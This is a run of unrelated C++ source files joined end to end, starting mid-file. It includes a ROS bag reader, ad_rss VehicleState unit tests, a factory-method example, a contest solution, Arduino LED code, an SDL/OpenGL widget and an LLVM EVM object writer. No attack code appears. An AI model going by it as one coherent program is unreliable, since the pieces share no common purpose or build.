rec.integralHeader("conn"); con.topicInBag = rec.stringHeader("topic"); con.topicAsPublished = recData.stringHeader("topic"); con.type = recData.stringHeader("type"); con.md5sum = recData.stringHeader("md5sum"); con.msgDef = recData.stringHeader("message_definition"); { auto it = recData.headers.find("callerid"); if(it != recData.headers.end()) con.callerID = recData.stringHeader("callerid"); } { auto it = recData.headers.find("latching"); if(it != recData.headers.end()) { if(it->second.size != 1) throw Exception{"Invalid latching header"}; if(it->second.start[0] == '1') con.latching = true; } } m_d->connections[con.id] = con; m_d->connectionsForTopic[con.topicInBag].push_back(con.id); rptr = rec.end; remaining = m_d->size - (rptr - m_d->data); } // Chunk infos m_d->chunks.reserve(chunkCount); for(std::size_t i = 0; i < chunkCount; ++i) { Record rec = readRecord(rptr, remaining); if(rec.op != 6) throw Exception{"Expected chunk info record"}; auto& chunk = m_d->chunks.emplace_back(); auto version = rec.integralHeader("ver"); if(version != 1) throw Exception{fmt::format("Unsupported chunk info version {}", version)}; auto chunkPos = rec.integralHeader("chunk_pos"); if(chunkPos >= static_cast(m_d->size)) throw Exception{"chunk_pos points outside of valid range"}; chunk.chunkStart = m_d->data + chunkPos; std::uint64_t startTime = rec.integralHeader("start_time"); std::uint64_t endTime = rec.integralHeader("end_time"); chunk.startTime = ros::Time(startTime & 0xFFFFFFFF, startTime >> 32); chunk.endTime = ros::Time(endTime & 0xFFFFFFFF, endTime >> 32); auto numConnections = rec.integralHeader("count"); if(rec.dataSize < numConnections * sizeof(Chunk::ConnectionInfo)) throw Exception{"Chunk info is too small"}; chunk.connectionInfos.resize(numConnections); std::memcpy(chunk.connectionInfos.data(), rec.dataBegin, numConnections * sizeof(Chunk::ConnectionInfo)); for(auto& connInfo : chunk.connectionInfos) { auto it = m_d->connections.find(connInfo.id); if(it == m_d->connections.end()) throw Exception{fmt::format("Could not find connection with id {}", connInfo.id)}; it->second.totalCount += connInfo.msgCount; } rptr = rec.end; remaining = m_d->size - (rptr - m_d->data); } if(!m_d->chunks.empty()) m_d->startTime = m_d->chunks.front().startTime; for(auto& c : m_d->chunks) { m_d->startTime = std::min(c.startTime, m_d->startTime); m_d->endTime = std::max(c.endTime, m_d->endTime); } } BagReader::~BagReader() { } const BagReader::ConnectionMap& BagReader::connections() { return m_d->connections; } ros::Time BagReader::startTime() const { return m_d->startTime; } ros::Time BagReader::endTime() const { return m_d->endTime; } std::size_t BagReader::size() const { return m_d->size; } } /* * ----------------- BEGIN LICENSE BLOCK --------------------------------- * * Copyright (c) 2018-2019 Intel Corporation * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * ----------------- END LICENSE BLOCK ----------------------------------- */ /* * Generated file */ #include #include #include "ad_rss/situation/VehicleState.hpp" class VehicleStateTests : public testing::Test { protected: virtual void SetUp() override { // valid initialization ::ad_rss::situation::VehicleState value; ::ad_rss::situation::VelocityRange valueVelocity; ::ad_rss::physics::SpeedRange valueVelocitySpeedLon; ::ad_rss::physics::Speed valueVelocitySpeedLonMinimum(-100.); valueVelocitySpeedLon.minimum = valueVelocitySpeedLonMinimum; ::ad_rss::physics::Speed valueVelocitySpeedLonMaximum(-100.); valueVelocitySpeedLon.maximum = valueVelocitySpeedLonMaximum; valueVelocitySpeedLon.maximum = valueVelocitySpeedLon.minimum; valueVelocitySpeedLon.minimum = valueVelocitySpeedLon.maximum; valueVelocity.speedLon = valueVelocitySpeedLon; ::ad_rss::physics::SpeedRange valueVelocitySpeedLat; ::ad_rss::physics::Speed valueVelocitySpeedLatMinimum(-100.); valueVelocitySpeedLat.minimum = valueVelocitySpeedLatMinimum; ::ad_rss::physics::Speed valueVelocitySpeedLatMaximum(-100.); valueVelocitySpeedLat.maximum = valueVelocitySpeedLatMaximum; valueVelocitySpeedLat.maximum = valueVelocitySpeedLat.minimum; valueVelocitySpeedLat.minimum = valueVelocitySpeedLat.maximum; valueVelocity.speedLat = valueVelocitySpeedLat; value.velocity = valueVelocity; ::ad_rss::world::RssDynamics valueDynamics; ::ad_rss::world::LongitudinalRssAccelerationValues valueDynamicsAlphaLon; ::ad_rss::physics::Acceleration valueDynamicsAlphaLonAccelMax(-1e2); valueDynamicsAlphaLonAccelMax = ::ad_rss::physics::Acceleration(0.); // set to valid value within struct valueDynamicsAlphaLon.accelMax = valueDynamicsAlphaLonAccelMax; ::ad_rss::physics::Acceleration valueDynamicsAlphaLonBrakeMax(-1e2); valueDynamicsAlphaLon.brakeMax = valueDynamicsAlphaLonBrakeMax; ::ad_rss::physics::Acceleration valueDynamicsAlphaLonBrakeMin(-1e2); valueDynamicsAlphaLon.brakeMin = valueDynamicsAlphaLonBrakeMin; ::ad_rss::physics::Acceleration valueDynamicsAlphaLonBrakeMinCorrect(-1e2); valueDynamicsAlphaLonBrakeMinCorrect = ::ad_rss::physics::Acceleration( 0. + ::ad_rss::physics::Acceleration::cPrecisionValue); // set to valid value within struct valueDynamicsAlphaLon.brakeMinCorrect = valueDynamicsAlphaLonBrakeMinCorrect; valueDynamicsAlphaLon.brakeMin = valueDynamicsAlphaLon.brakeMinCorrect; valueDynamicsAlphaLon.brakeMax = valueDynamicsAlphaLon.brakeMin; valueDynamicsAlphaLon.brakeMin = valueDynamicsAlphaLon.brakeMax; valueDynamicsAlphaLon.brakeMinCorrect = valueDynamicsAlphaLon.brakeMin; valueDynamics.alphaLon = valueDynamicsAlphaLon; ::ad_rss::world::LateralRssAccelerationValues valueDynamicsAlphaLat; ::ad_rss::physics::Acceleration valueDynamicsAlphaLatAccelMax(-1e2); valueDynamicsAlphaLatAccelMax = ::ad_rss::physics::Acceleration(0.); // set to valid value within struct valueDynamicsAlphaLat.accelMax = valueDynamicsAlphaLatAccelMax; ::ad_rss::physics::Acceleration valueDynamicsAlphaLatBrakeMin(-1e2); valueDynamicsAlphaLatBrakeMin = ::ad_rss::physics::Acceleration( 0. + ::ad_rss::physics::Acceleration::cPrecisionValue); // set to valid value within struct valueDynamicsAlphaLat.brakeMin = valueDynamicsAlphaLatBrakeMin; valueDynamics.alphaLat = valueDynamicsAlphaLat; ::ad_rss::physics::Distance valueDynamicsLateralFluctuationMargin(0.); valueDynamics.lateralFluctuationMargin = valueDynamicsLateralFluctuationMargin; ::ad_rss::physics::Duration valueDynamicsResponseTime(0.); valueDynamicsResponseTime = ::ad_rss::physics::Duration( 0. + ::ad_rss::physics::Duration::cPrecisionValue); // set to valid value within struct valueDynamics.responseTime = valueDynamicsResponseTime; value.dynamics = valueDynamics; bool valueHasPriority{true}; value.hasPriority = valueHasPriority; bool valueIsInCorrectLane{true}; value.isInCorrectLane = valueIsInCorrectLane; ::ad_rss::physics::Distance valueDistanceToEnterIntersection(0.); value.distanceToEnterIntersection = valueDistanceToEnterIntersection; ::ad_rss::physics::Distance valueDistanceToLeaveIntersection(0.); value.distanceToLeaveIntersection = valueDistanceToLeaveIntersection; value.distanceToLeaveIntersection = value.distanceToEnterIntersection; value.distanceToEnterIntersection = value.distanceToLeaveIntersection; mValue = value; } ::ad_rss::situation::VehicleState mValue; }; TEST_F(VehicleStateTests, copyConstruction) { ::ad_rss::situation::VehicleState value(mValue); EXPECT_EQ(mValue, value); } TEST_F(VehicleStateTests, moveConstruction) { ::ad_rss::situation::VehicleState value(std::move(::ad_rss::situation::VehicleState(mValue))); EXPECT_EQ(mValue, value); } TEST_F(VehicleStateTests, copyAssignment) { ::ad_rss::situation::VehicleState value; value = mValue; EXPECT_EQ(mValue, value); } TEST_F(VehicleStateTests, moveAssignment) { ::ad_rss::situation::VehicleState value; value = std::move(::ad_rss::situation::VehicleState(mValue)); EXPECT_EQ(mValue, value); } TEST_F(VehicleStateTests, comparisonOperatorEqual) { ::ad_rss::situation::VehicleState valueA = mValue; ::ad_rss::situation::VehicleState valueB = mValue; EXPECT_TRUE(valueA == valueB); EXPECT_FALSE(valueA != valueB); } TEST_F(VehicleStateTests, comparisonOperatorVelocityDiffers) { ::ad_rss::situation::VehicleState valueA = mValue; ::ad_rss::situation::VelocityRange velocity; ::ad_rss::physics::SpeedRange velocitySpeedLon; ::ad_rss::physics::Speed velocitySpeedLonMinimum(100.); velocitySpeedLon.minimum = velocitySpeedLonMinimum; ::ad_rss::physics::Speed velocitySpeedLonMaximum(100.); velocitySpeedLon.maximum = velocitySpeedLonMaximum; velocitySpeedLon.maximum = velocitySpeedLon.minimum; velocitySpeedLon.minimum = velocitySpeedLon.maximum; velocity.speedLon = velocitySpeedLon; ::ad_rss::physics::SpeedRange velocitySpeedLat; ::ad_rss::physics::Speed velocitySpeedLatMinimum(100.); velocitySpeedLat.minimum = velocitySpeedLatMinimum; ::ad_rss::physics::Speed velocitySpeedLatMaximum(100.); velocitySpeedLat.maximum = velocitySpeedLatMaximum; velocitySpeedLat.maximum = velocitySpeedLat.minimum; velocitySpeedLat.minimum = velocitySpeedLat.maximum; velocity.speedLat = velocitySpeedLat; valueA.velocity = velocity; ::ad_rss::situation::VehicleState valueB = mValue; EXPECT_FALSE(valueA == valueB); EXPECT_TRUE(valueA != valueB); } TEST_F(VehicleStateTests, comparisonOperatorDynamicsDiffers) { ::ad_rss::situation::VehicleState valueA = mValue; ::ad_rss::world::RssDynamics dynamics; ::ad_rss::world::LongitudinalRssAccelerationValues dynamicsAlphaLon; ::ad_rss::physics::Acceleration dynamicsAlphaLonAccelMax(1e2); dynamicsAlphaLon.accelMax = dynamicsAlphaLonAccelMax; ::ad_rss::physics::Acceleration dynamicsAlphaLonBrakeMax(1e2); dynamicsAlphaLon.brakeMax = dynamicsAlphaLonBrakeMax; ::ad_rss::physics::Acceleration dynamicsAlphaLonBrakeMin(1e2); dynamicsAlphaLon.brakeMin = dynamicsAlphaLonBrakeMin; ::ad_rss::physics::Acceleration dynamicsAlphaLonBrakeMinCorrect(1e2); dynamicsAlphaLon.brakeMinCorrect = dynamicsAlphaLonBrakeMinCorrect; dynamicsAlphaLon.brakeMax = dynamicsAlphaLon.brakeMin; dynamicsAlphaLon.brakeMin = dynamicsAlphaLon.brakeMinCorrect; dynamicsAlphaLon.brakeMinCorrect = dynamicsAlphaLon.brakeMin; dynamicsAlphaLon.brakeMin = dynamicsAlphaLon.brakeMax; dynamics.alphaLon = dynamicsAlphaLon; ::ad_rss::world::LateralRssAccelerationValues dynamicsAlphaLat; ::ad_rss::physics::Acceleration dynamicsAlphaLatAccelMax(1e2); dynamicsAlphaLat.accelMax = dynamicsAlphaLatAccelMax; ::ad_rss::physics::Acceleration dynamicsAlphaLatBrakeMin(1e2); dynamicsAlphaLat.brakeMin = dynamicsAlphaLatBrakeMin; dynamics.alphaLat = dynamicsAlphaLat; ::ad_rss::physics::Distance dynamicsLateralFluctuationMargin(1e6); dynamicsLateralFluctuationMargin = ::ad_rss::physics::Distance(1.); // set to valid value within struct dynamics.lateralFluctuationMargin = dynamicsLateralFluctuationMargin; ::ad_rss::physics::Duration dynamicsResponseTime(100.); dynamicsResponseTime = ::ad_rss::physics::Duration(10.); // set to valid value within struct dynamics.responseTime = dynamicsResponseTime; valueA.dynamics = dynamics; ::ad_rss::situation::VehicleState valueB = mValue; EXPECT_FALSE(valueA == valueB); EXPECT_TRUE(valueA != valueB); } TEST_F(VehicleStateTests, comparisonOperatorHasPriorityDiffers) { ::ad_rss::situation::VehicleState valueA = mValue; bool hasPriority{false}; valueA.hasPriority = hasPriority; ::ad_rss::situation::VehicleState valueB = mValue; EXPECT_FALSE(valueA == valueB); EXPECT_TRUE(valueA != valueB); } TEST_F(VehicleStateTests, comparisonOperatorIsInCorrectLaneDiffers) { ::ad_rss::situation::VehicleState valueA = mValue; bool isInCorrectLane{false}; valueA.isInCorrectLane = isInCorrectLane; ::ad_rss::situation::VehicleState valueB = mValue; EXPECT_FALSE(valueA == valueB); EXPECT_TRUE(valueA != valueB); } TEST_F(VehicleStateTests, comparisonOperatorDistanceToEnterIntersectionDiffers) { ::ad_rss::situation::VehicleState valueA = mValue; ::ad_rss::physics::Distance distanceToEnterIntersection(1e6); valueA.distanceToEnterIntersection = distanceToEnterIntersection; ::ad_rss::situation::VehicleState valueB = mValue; EXPECT_FALSE(valueA == valueB); EXPECT_TRUE(valueA != valueB); } TEST_F(VehicleStateTests, comparisonOperatorDistanceToLeaveIntersectionDiffers) { ::ad_rss::situation::VehicleState valueA = mValue; ::ad_rss::physics::Distance distanceToLeaveIntersection(1e6); valueA.distanceToLeaveIntersection = distanceToLeaveIntersection; ::ad_rss::situation::VehicleState valueB = mValue; EXPECT_FALSE(valueA == valueB); EXPECT_TRUE(valueA != valueB); } Factories/factory_method-point/main.cpp #include #include class Point { public: friend std::ostream& operator<<(std::ostream& os, Point const& point) { os << "(x:" << point.x << ", y:" << point.y << ')'; return os; } class Factory { public: Factory() = delete; static Point newCartesianPoint(double x, double y) { return Point{x, y}; } static Point newPolar(double r, double theta) { return Point{r * std::cos(theta), r * std::sin(theta)}; } }; private: Point(double x_, double y_) : x(x_), y(y_) { } double x, y; }; int main() { auto p = Point::Factory::newPolar(5.0, M_PI_4); std::cout << "New point: " << p << std::endl; return 0; } ducaddepar/ProgrammingContest10-100 #include #include #include //#define NDEBUG #include #include #include #include #include #include #include #include #include #include #include #include using namespace std; #define int64 long long #define repeat(x) for (auto repeat_var = 0; repeat_var < x; ++repeat_var) #define for_inc(i, x) for (auto i = 0; i < x; ++i) #define for_dec(i, x) for (auto i = x - 1; i >= 0; --i) #define for_inc_range(i, x, y) for (auto i = x; i <= y; ++i) #define for_dec_range(i, x, y) for (auto i = x; i >= y; --i) #define fill0(x) memset(x, 0, sizeof(x)) #define INT_INF 2E9L #define ntype int #define N_INF INT_INF void testGen() { freopen("biginput1.txt", "w", stdout); fclose(stdout); } #define MAXN 2020 #define MAXK 2020 int nRow, nCol, nCar; char board[MAXN][MAXN]; pair carPos[MAXK]; int f[MAXN][MAXN]; int posLeft[MAXN][MAXN]; int posRight[MAXN][MAXN]; int ret[MAXK]; // Compute all min(ai, ..., ai + k - 1) for each i in O(n) // Usage: KMin(k): initialize KMin algorithm with the given k // absorb(x): absorb the next element // getMin() return the minimum among the last absorbed k elements template class KMin { deque> a; int k; int last = 0; function comp; public: KMin(int k) : KMin(k, [](T a, T b) { return a < b; }) {} KMin(int k, function comp) : k(k), comp(comp) {} void absorb(T x) { last++; if (a.empty()) { a.push_back(make_pair(last, x)); } else { while (!a.empty() && !comp(a.back().second, x)) { a.pop_back(); } a.push_back(make_pair(last, x)); while (!a.empty() && a.front().first <= last - k) { a.pop_front(); } } } T getMin() { return a.front().second; } }; bool ok(int side, int r, int c) { if (side == 1) { return true; } int top = max(1, r - side + 1), bottom = top + side - 1; if (bottom > nRow || top > r) { return false; } KMin maxLeft(side, [](int a, int b) { return a > b; }); KMin minRight(side); for_inc_range(row, top, bottom) { maxLeft.absorb(posLeft[row][c] + 1); minRight.absorb(posRight[row][c] - 1); } while (1) { auto ml = maxLeft.getMin(); auto mr = minRight.getMin(); if (ml <= mr && mr - ml + 1 >= side) { return true; } top++; bottom++; if (bottom > nRow || top > r) { break; } maxLeft.absorb(posLeft[bottom][c] + 1); minRight.absorb(posRight[bottom][c] - 1); } return false; } void recalcRow(int r) { for_inc_range(c, 1, nCol) { char ch = board[r - 1][c - 1]; if (ch == 'X') { posLeft[r][c] = c; posRight[r][c] = c; } } posLeft[r][0] = 0; posRight[r][nCol + 1] = nCol + 1; for_inc_range(c, 1, nCol) { char ch = board[r - 1][c - 1]; if (ch == '.') { posLeft[r][c] = posLeft[r][c - 1]; } } for_dec_range(c, nCol, 1) { char ch = board[r - 1][c - 1]; if (ch == '.') { posRight[r][c] = posRight[r][c + 1]; } } } // Sample: CF274 - E int main() { // testGen(); freopen("input1.txt", "r", stdin); scanf("%d%d%d", &nRow, &nCol, &nCar); for_inc(row, nRow) { scanf("%s", board[row]); } for_inc_range(i, 1, nCar) { int r, c; scanf("%d%d", &r, &c); carPos[i] = make_pair(r, c); board[r - 1][c - 1] = 'X'; } ret[nCar] = 0; fill0(f); for_inc_range(r, 1, nRow) { for_inc_range(c, 1, nCol) { char ch = board[r - 1][c - 1]; if (ch == '.') { f[r][c] = min(f[r - 1][c], min(f[r][c - 1], f[r - 1][c - 1])) + 1; ret[nCar] = max(ret[nCar], f[r][c]); } } } for_inc_range(r, 1, nRow) { recalcRow(r); } for_dec_range(car, nCar - 1, 1) { pair pos = carPos[car + 1]; board[pos.first - 1][pos.second - 1] = '.'; recalcRow(pos.first); int l = 1, r = min(nRow, nCol), mid = 0, best = 0; while (l <= r) { mid = (l + r) / 2; if (ok(mid, pos.first, pos.second)) { best = mid; l = mid + 1; } else { r = mid - 1; } } ret[car] = max(ret[car + 1], best); } for_inc_range(car, 1, nCar) { cout << ret[car] << endl; } return 0; }src/ui.cpp #include void toggleAccessLED(){ digitalWrite(ACCESSPOINT_LED, !digitalRead(ACCESSPOINT_LED)); } void toggleGearLED(){ digitalWrite(GEAR_FOUND_LED, !digitalRead(GEAR_FOUND_LED)); } void toggleMarkerLED(){ digitalWrite(MARKER_FOUND_LED, !digitalRead(MARKER_FOUND_LED)); } /// bool userInterface::buttonIsPressed(){ return !digitalRead(BUTTON); } void userInterface::gearFound(){ digitalWrite(GEAR_FOUND_LED, HIGH); } void userInterface::gearLost(){ digitalWrite(GEAR_FOUND_LED, LOW); } void userInterface::markerFound(){ digitalWrite(MARKER_FOUND_LED, HIGH); } void userInterface::markerLost(){ digitalWrite(MARKER_FOUND_LED, LOW); } void userInterface::configMode(){ ticker.attach(0.1, toggleAccessLED); } void userInterface::wifiConnected(){ ticker.detach(); digitalWrite(ACCESSPOINT_LED, HIGH); } void userInterface::wifiDisConnected(){ ticker.attach(0.5, toggleAccessLED); } void userInterface::init(){ pinMode(ACCESSPOINT_LED, OUTPUT); pinMode(MARKER_FOUND_LED, OUTPUT); pinMode(GEAR_FOUND_LED, OUTPUT); pinMode(BUTTON, INPUT_PULLUP); ticker.attach(0.5, toggleAccessLED); }; /******************************************************* * Copyright (c) 2015-2019, ArrayFire * All rights reserved. * * This file is distributed under 3-clause BSD license. * The complete license agreement can be obtained at: * http://arrayfire.com/licenses/BSD-3-Clause ********************************************************/ #include #include #include #include #include using namespace gl; using glm::rotate; using glm::translate; using glm::scale; #define SDL_THROW_ERROR(msg, err) \ FG_ERROR("Window constructor "#msg,err) namespace forge { namespace wtk { void initWindowToolkit() { if (SDL_Init(SDL_INIT_VIDEO) < 0) { std::cerr << "ERROR: SDL wasn't able to initalize\n"; SDL_THROW_ERROR("SDL initilization failed", FG_ERR_GL_ERROR); } } void destroyWindowToolkit() { SDL_Quit(); } const glm::mat4 Widget::findTransform(const MatrixHashMap& pMap, const float pX, const float pY) { for (auto it: pMap) { const CellIndex& idx = it.first; const glm::mat4& mat = it.second; const int rows = std::get<0>(idx); const int cols = std::get<1>(idx); const int cellWidth = mWidth/cols; const int cellHeight = mHeight/rows; const int x = int(pX) / cellWidth; const int y = int(pY) / cellHeight; const int i = x + y * cols; if (i==std::get<2>(idx)) { return mat; } } return IDENTITY; } const glm::mat4 Widget::getCellViewMatrix(const float pXPos, const float pYPos) { return findTransform(mViewMatrices, pXPos, pYPos); } const glm::mat4 Widget::getCellOrientationMatrix(const float pXPos, const float pYPos) { return findTransform(mOrientMatrices, pXPos, pYPos); } void Widget::setTransform(MatrixHashMap& pMap, const float pX, const float pY, const glm::mat4 &pMat) { for (auto it: pMap) { const CellIndex& idx = it.first; const int rows = std::get<0>(idx); const int cols = std::get<1>(idx); const int cellWidth = mWidth/cols; const int cellHeight = mHeight/rows; const int x = int(pX) / cellWidth; const int y = int(pY) / cellHeight; const int i = x + y * cols; if (i==std::get<2>(idx)) { pMap[idx] = pMat; } } } void Widget::setCellViewMatrix(const float pXPos, const float pYPos, const glm::mat4& pMatrix) { return setTransform(mViewMatrices, pXPos, pYPos, pMatrix); } void Widget::setCellOrientationMatrix(const float pXPos, const float pYPos, const glm::mat4& pMatrix) { return setTransform(mOrientMatrices, pXPos, pYPos, pMatrix); } void Widget::resetViewMatrices() { for (auto it: mViewMatrices) it.second = IDENTITY; } void Widget::resetOrientationMatrices() { for (auto it: mOrientMatrices) it.second = IDENTITY; } Widget::Widget() : mWindow(nullptr), mClose(false), mLastXPos(0), mLastYPos(0), mButton(-1), mWidth(512), mHeight(512), mFramePBO(0) { } Widget::Widget(int pWidth, int pHeight, const char* pTitle, const Widget* pWindow, const bool invisible) : mWindow(nullptr), mClose(false), mLastXPos(0), mLastYPos(0), mButton(-1), mFramePBO(0) { SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3); SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 3); SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE); SDL_GL_SetAttribute(SDL_GL_DOUBLEBUFFER, 1); SDL_GL_SetAttribute(SDL_GL_DEPTH_SIZE, 24); if (pWindow != nullptr) { pWindow->makeContextCurrent(); SDL_GL_SetAttribute(SDL_GL_SHARE_WITH_CURRENT_CONTEXT, 1); } else { //SDL_GL_MakeCurrent(NULL, NULL); SDL_GL_SetAttribute(SDL_GL_SHARE_WITH_CURRENT_CONTEXT, 0); } mWindow = SDL_CreateWindow( (pTitle!=nullptr ? pTitle : "Forge-Demo"), SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, pWidth, pHeight, (invisible ? SDL_WINDOW_OPENGL | SDL_WINDOW_HIDDEN : SDL_WINDOW_OPENGL) | SDL_WINDOW_RESIZABLE ); if (mWindow==NULL) { std::cerr<<"Error: Could not Create SDL Window!"<< SDL_GetError() << std::endl; SDL_THROW_ERROR("SDL window creation failed", FG_ERR_GL_ERROR); } mContext = SDL_GL_CreateContext(mWindow); if (mContext==NULL) { std::cerr<<"Error: Could not OpenGL context!" << SDL_GetError() << std::endl; SDL_THROW_ERROR("OpenGL context creation failed", FG_ERR_GL_ERROR); } SDL_GL_SetSwapInterval(1); mWindowId = SDL_GetWindowID(mWindow); SDL_GetWindowSize(mWindow, &mWidth, &mHeight); } Widget::~Widget() { glDeleteBuffers(1, &mFramePBO); SDL_DestroyWindow(mWindow); SDL_GL_DeleteContext(mContext); } SDL_Window* Widget::getNativeHandle() const { return mWindow; } void Widget::makeContextCurrent() const { SDL_GL_MakeCurrent(mWindow, mContext); } long long Widget::getGLContextHandle() { return opengl::getCurrentContextHandle(); } long long Widget::getDisplayHandle() { return opengl::getCurrentDisplayHandle(); } void Widget::setTitle(const char* pTitle) { SDL_SetWindowTitle(mWindow, (pTitle!=nullptr ? pTitle : "Forge-Demo")); } void Widget::setPos(int pX, int pY) { SDL_SetWindowPosition(mWindow, pX, pY); } void Widget::setSize(unsigned pW, unsigned pH) { SDL_SetWindowSize(mWindow, pW, pH); } void Widget::swapBuffers() { SDL_GL_SwapWindow(mWindow); glReadBuffer(GL_FRONT); glBindBuffer(GL_PIXEL_PACK_BUFFER, mFramePBO); glReadPixels(0, 0, mWidth, mHeight, GL_RGBA, GL_UNSIGNED_BYTE, 0); glBindBuffer(GL_PIXEL_PACK_BUFFER, 0); } void Widget::hide() { mClose = true; SDL_HideWindow(mWindow); } void Widget::show() { mClose = false; SDL_ShowWindow(mWindow); } bool Widget::close() { return mClose; } void Widget::resetCloseFlag() { if(mClose==true) { show(); } } void Widget::pollEvents() { static const float SPEED = 0.005f; SDL_Event evnt; while (SDL_PollEvent(&evnt)) { /* handle window events that are triggered when the window with window id 'mWindowId' is in focus */ if (evnt.key.windowID == mWindowId) { if (evnt.type == SDL_WINDOWEVENT) { switch(evnt.window.event) { case SDL_WINDOWEVENT_CLOSE: mClose = true; break; case SDL_WINDOWEVENT_RESIZED: mWidth = evnt.window.data1; mHeight = evnt.window.data2; resizePixelBuffers(); break; } } if (evnt.type == SDL_KEYDOWN) { switch(evnt.key.keysym.sym) { case SDLK_ESCAPE: mClose = true; break; default: mMod = evnt.key.keysym.sym; break; } } else if (evnt.type == SDL_KEYUP) { mMod = -1; } int x, y; SDL_GetMouseState(&x, &y); // reset UI transforms upon mouse middle click if(evnt.type == SDL_MOUSEBUTTONUP) { if(evnt.button.button == SDL_BUTTON_MIDDLE && (mMod == SDLK_LCTRL || mMod==SDLK_RCTRL)) { setCellViewMatrix(x, y, IDENTITY); setCellOrientationMatrix(x, y, IDENTITY); } } const glm::mat4 viewMat = getCellViewMatrix(x, y); if(evnt.type == SDL_MOUSEMOTION) { if(evnt.motion.state == SDL_BUTTON_LMASK) { double deltaX = -evnt.motion.xrel; double deltaY = -evnt.motion.yrel; glm::mat4 vMat(1); if (mMod==SDLK_LALT || mMod==SDLK_RALT || mMod==SDLK_LCTRL || mMod==SDLK_RCTRL) { // Zoom if(deltaY != 0) { if(deltaY < 0) { deltaY = 1.0 / (-deltaY); } vMat = scale(viewMat, glm::vec3(pow(deltaY, SPEED))); } } else { // Translate vMat = translate(viewMat, glm::vec3(-deltaX, deltaY, 0.0f) * SPEED); } setCellViewMatrix(x, y, vMat); } else if (evnt.motion.state == SDL_BUTTON_RMASK) { const glm::mat4 orientationMat = getCellOrientationMatrix(x, y); // Rotations int width, height; SDL_GetWindowSize(mWindow, &width, &height); int xPos = evnt.motion.x; int yPos = evnt.motion.y; if (mLastXPos != xPos || mLastYPos != yPos) { glm::vec3 op1 = trackballPoint(mLastXPos, mLastYPos, width, height); glm::vec3 op2 = trackballPoint(xPos, yPos, width, height); float angle = std::acos(std::min(1.0f, glm::dot(op1, op2))); glm::vec3 axisInCamCoord = glm::cross(op1, op2); glm::mat3 camera2object = glm::inverse(glm::mat3(viewMat)); glm::vec3 axisInObjCoord = camera2object * axisInCamCoord; glm::mat4 oMat = glm::rotate(orientationMat, glm::degrees(angle), axisInObjCoord); setCellOrientationMatrix(x, y, oMat); } } mLastXPos = evnt.motion.x; mLastYPos = evnt.motion.y; } } } } void Widget::resizePixelBuffers() { if (mFramePBO!=0) glDeleteBuffers(1, &mFramePBO); uint w = mWidth; uint h = mHeight; glGenBuffers(1, &mFramePBO); glBindBuffer(GL_PIXEL_PACK_BUFFER, mFramePBO); glBufferData(GL_PIXEL_PACK_BUFFER, w*h*4*sizeof(uchar), 0, GL_DYNAMIC_READ); glBindBuffer(GL_PIXEL_PACK_BUFFER, 0); } const glm::mat4 Widget::getViewMatrix(const CellIndex& pIndex) { if (mViewMatrices.find(pIndex)==mViewMatrices.end()) { mViewMatrices.emplace(pIndex, IDENTITY); } return mViewMatrices[pIndex]; } const glm::mat4 Widget::getOrientationMatrix(const CellIndex& pIndex) { if (mOrientMatrices.find(pIndex)==mOrientMatrices.end()) { mOrientMatrices.emplace(pIndex, IDENTITY); } return mOrientMatrices[pIndex]; } } } lib/Target/EVM/MCTargetDesc/EVMELFObjectWriter.cpp //===-- EVMELFObjectWriter.cpp - EVM ELF Writer ---------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "MCTargetDesc/EVMMCTargetDesc.h" #include "llvm/BinaryFormat/ELF.h" #include "llvm/MC/MCELFObjectWriter.h" #include "llvm/MC/MCFixup.h" #include "llvm/MC/MCObjectWriter.h" #include "llvm/MC/MCValue.h" #include "llvm/Support/ErrorHandling.h" #include using namespace llvm; namespace { class EVMELFObjectWriter : public MCELFObjectTargetWriter { public: EVMELFObjectWriter(uint8_t OSABI); ~EVMELFObjectWriter() override = default; protected: unsigned getRelocType(MCContext &Ctx, const MCValue &Target, const MCFixup &Fixup, bool IsPCRel) const override; }; } // end anonymous namespace EVMELFObjectWriter::EVMELFObjectWriter(uint8_t OSABI) : MCELFObjectTargetWriter(/*Is64Bit*/ true, OSABI, 0, /*HasRelocationAddend*/ false) {} unsigned EVMELFObjectWriter::getRelocType(MCContext &Ctx, const MCValue &Target, const MCFixup &Fixup, bool IsPCRel) const { // determine the type of the relocation switch ((unsigned)Fixup.getKind()) { default: llvm_unreachable("invalid fixup kind!"); case FK_SecRel_2: return ELF::R_EVM_ADDR; } } std::unique_ptr llvm::createEVMELFObjectWriter(uint8_t OSABI) { return std::make_unique(OSABI); } /************************************************************************** *** *** Copyright (c) 2000-2006 Regents of the University of Michigan, *** , , *** and *** *** Contact author(s): , *** Original Affiliation: University of Michigan, EECS Dept. *** Ann Arbor, MI 48109-2122 